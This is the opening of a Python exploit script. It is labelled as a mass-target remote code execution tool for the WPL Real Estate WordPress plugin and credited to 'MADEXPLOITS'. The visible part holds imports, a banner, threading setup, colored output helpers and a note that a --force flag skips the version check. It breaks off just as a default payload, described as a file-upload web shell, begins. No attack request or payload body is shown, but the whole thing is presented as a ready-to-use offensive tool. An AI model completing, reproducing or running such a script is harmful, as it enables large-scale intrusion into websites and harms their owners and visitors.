#!/usr/bin/env python3 """ CVE-2026-14483 - WPL Real Estate Plugin RCE (Mass Target - OOP Version) Exploit by MADEXPLOITS Enhanced with threading, colored output, version check (5.2.0), and clean progress. """ import requests import re import sys import os import tempfile import json import argparse import threading from typing import Optional, Tuple, List from concurrent.futures import ThreadPoolExecutor, as_completed import colorama from colorama import Fore, Style, init as colorama_init # Initialize colorama colorama_init(autoreset=True) # ---------------------------------------------------------------------- # Banner # ---------------------------------------------------------------------- BANNER = f""" {Fore.CYAN} __ __ _ _____ _ _ _ | \\/ | __ _ __| | ____|_ ___ __ | | ___ (_) |_ ___ | |\\/| |/ _` |/ _` | _| \\ \\/ / '_ \\| |/ _ \\| | __/ __| | | | | (_| | (_| | |___ > <| |_) | | (_) | | |_\\__ \\ |_| |_|\\__,_|\\__,_|_____/_/\\_\\ .__/|_|\\___/|_|\\__|___/ |_| {Style.RESET_ALL} {Fore.YELLOW} CVE-2026-14483 - WPL Real Estate RCE Exploit by MADEXPLOITS [*] Only vulnerable version 5.2.0 will be exploited (unless --force is used){Style.RESET_ALL} """ # ---------------------------------------------------------------------- # Utility print functions (colored) with a global lock # ---------------------------------------------------------------------- print_lock = threading.Lock() def print_info(msg): with print_lock: print(f"{Fore.BLUE}[*] {msg}{Style.RESET_ALL}") def print_success(msg): with print_lock: print(f"{Fore.GREEN}[+] {msg}{Style.RESET_ALL}") def print_warning(msg): with print_lock: print(f"{Fore.YELLOW}[!] {msg}{Style.RESET_ALL}") def print_error(msg): with print_lock: print(f"{Fore.RED}[-] {msg}{Style.RESET_ALL}") def print_debug(msg, debug=False): if debug: with print_lock: print(f"{Fore.CYAN}[D] {msg}{Style.RESET_ALL}") # ---------------------------------------------------------------------- # Default payload – a file‑upload shell that echoes "MADEXPLOITS" # ---------------------------------------------------------------------- DEFAULT_PAYLOAD = """